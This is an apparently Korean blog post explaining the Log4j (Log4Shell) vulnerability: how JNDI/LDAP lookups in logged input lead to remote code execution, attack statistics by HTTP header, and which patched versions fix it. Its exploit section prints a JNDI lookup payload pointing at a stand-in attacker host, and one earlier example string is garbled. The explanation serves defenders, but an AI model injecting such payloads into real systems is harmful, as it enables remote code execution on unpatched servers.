- 3.3 DDoS(2011/03/03) : 대한민국의 주요 정부기관, 포털 사이트, 은행 사이트 등을 분산 서비스 거부 공격(DDoS)을 통해 일시적으로 두 차례 마비시킨 사건
- OpenSSL Vuln HeartBleed(2014/04/01) : 오픈 소스 암호화 라이브러리인 OpenSSL의 소프트웨어 버그. 인증 기관에서 인증받은 안전한 웹 서버의 약 17%(약 50만대)가 이 공격으로 개인 키 및 세션 쿠키 및 암호를 탈취하여 악용한 사건.
상기 보안 사태 이후로 느슨해진 보안 업계에 긴장감을 부여한 Apache Log4j Vul(2021/12/11) 발표 되었습니다.
포스팅 기점으로 어엿 한 달이 지났음에도 불구하고 여전히 Log4j 관련한 취약점이 즐비하고 있으며,
해외 기관에서는 HeartBleed 사태에 견주지도 못 할 만큼의 치명적인 취약점이라고 합니다.
해당 취약점의 이슈로 평일 주말 구분없이 고통 받은 기억뿐입니다...
이러하여 해당 취약점을 소개 하려 합니다
1. Log4j란
Log4j는 Java/Kotlin/Scala/Groovy 코딩 도중에 프로그램의 로그를 기록해주는 라이브러리로, 이클립스, IntelliJ IDEA,
안드로이드 스튜디오 등에 추가해서 프로그램 실행 시 자동으로 지정한 경로에 로그를 저장해주는 기능 수행.
2. 취약점 원리
해당 취약점은 JNDI와 LDAP를 이용한다.
JNDI(Java Naming and Directory Interface)는 1990년대 후반부터 Java에 추가된 인터페이스이며,
Java 프로그램이 디렉토리를 통해 데이터(Java 객체 형태)를 찾을 수 있도록 하는 디렉토리 서비스이다.
JNDI는 이러한 디렉토리 서비스를 위해 다양한 인터페이스가 존재하는데 그 중 하나가 LDAP이다.
이 LDAP가 이번 취약점에 가장 중요한 포인트이다.
Java 프로그램들은 앞서 말한 JNDI와 LDAP를 통해 Java 객체를 찾을 수 있다.
예시로 URL ldap://localhost:389/o=JNDITutorial을 접속한다면 LDAP 서버에서 JNDITutorial 객체를 찾을 수 있는 것이다.
이러한 접근 인터페이스가 이번 사태에 치명적이게 된 이유는, Log4j에는 편리하게 사용하기 위해 ${prefix:name} 형식으로 Java 객체를 볼 수 있게 하는 문법이 존재하기 때문이다.
예를 들어 ${java:version}은 현재 실행 중인 Java 버전을 볼 수 있게 한다.
이런 문법은 로그가 기록될 때도 사용이 가능 했고,
결국 해커가 로그에 기록되는 곳을 찾아 ${jndi:sndi:snd://example.com/a}과 같은 값을 추가하기만 하면
취약점을 이용할 수 있는 것이다.
이 값을 넣는 방법은 User-Agent와 같은 일반적인 HTTP 헤더일 수도 있고 여러가지 방법이 있다.
3. Expolit
${jndi:ldap://www.attacker.com/malicious_java_class}
- Malicious JNDI lookup string with LDAP
- Example of requests.
- Command presented once the base64-encoded log is decoded.
- Command attributed to the Kinsing coinminer malware family.
4. Log4j 원격 코드 실행 공격 시도 통계
HTTP Field | Count |
Referer | 4,756,810 |
X-Api-Version | 4,175,748 |
Accept-Language | 3,675,721 |
User-Agent | 2,394,093 |
Cookie | 2,143,391 |
URL | 1,473,669 |
3. 대응 방안
현재 2.15 버전의 새로운 취약점 CVE-2021-45046이 발견되었으므로 반드시 2.16 버전으로 업데이트 하시기 바랍니다.현재 2.16 버전의 새로운 취약점 CVE-2021-45105이 발견되었으므로 반드시 2.17 버전으로 업데이트 하시기 바랍니다.
현재 2.17.0 버전의 새로운 취약점 CVE-2021-44832이 발견되었으므로 반드시 2.17.1 버전으로 업데이트 하시기 바랍니다.
※ 취약점은 log4j 2버전 이상에만 해당 하는 것으로 1.x 버전에는 해당되지 않는다.
물론 log4j 1.x 버전은 이미 EOS된 버전이고, log4j 2.x와는 다른 별도의 RCE 취약점이 있으므로
1.x Version으로의 Downgrade는 비권고.
- 출처 : https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/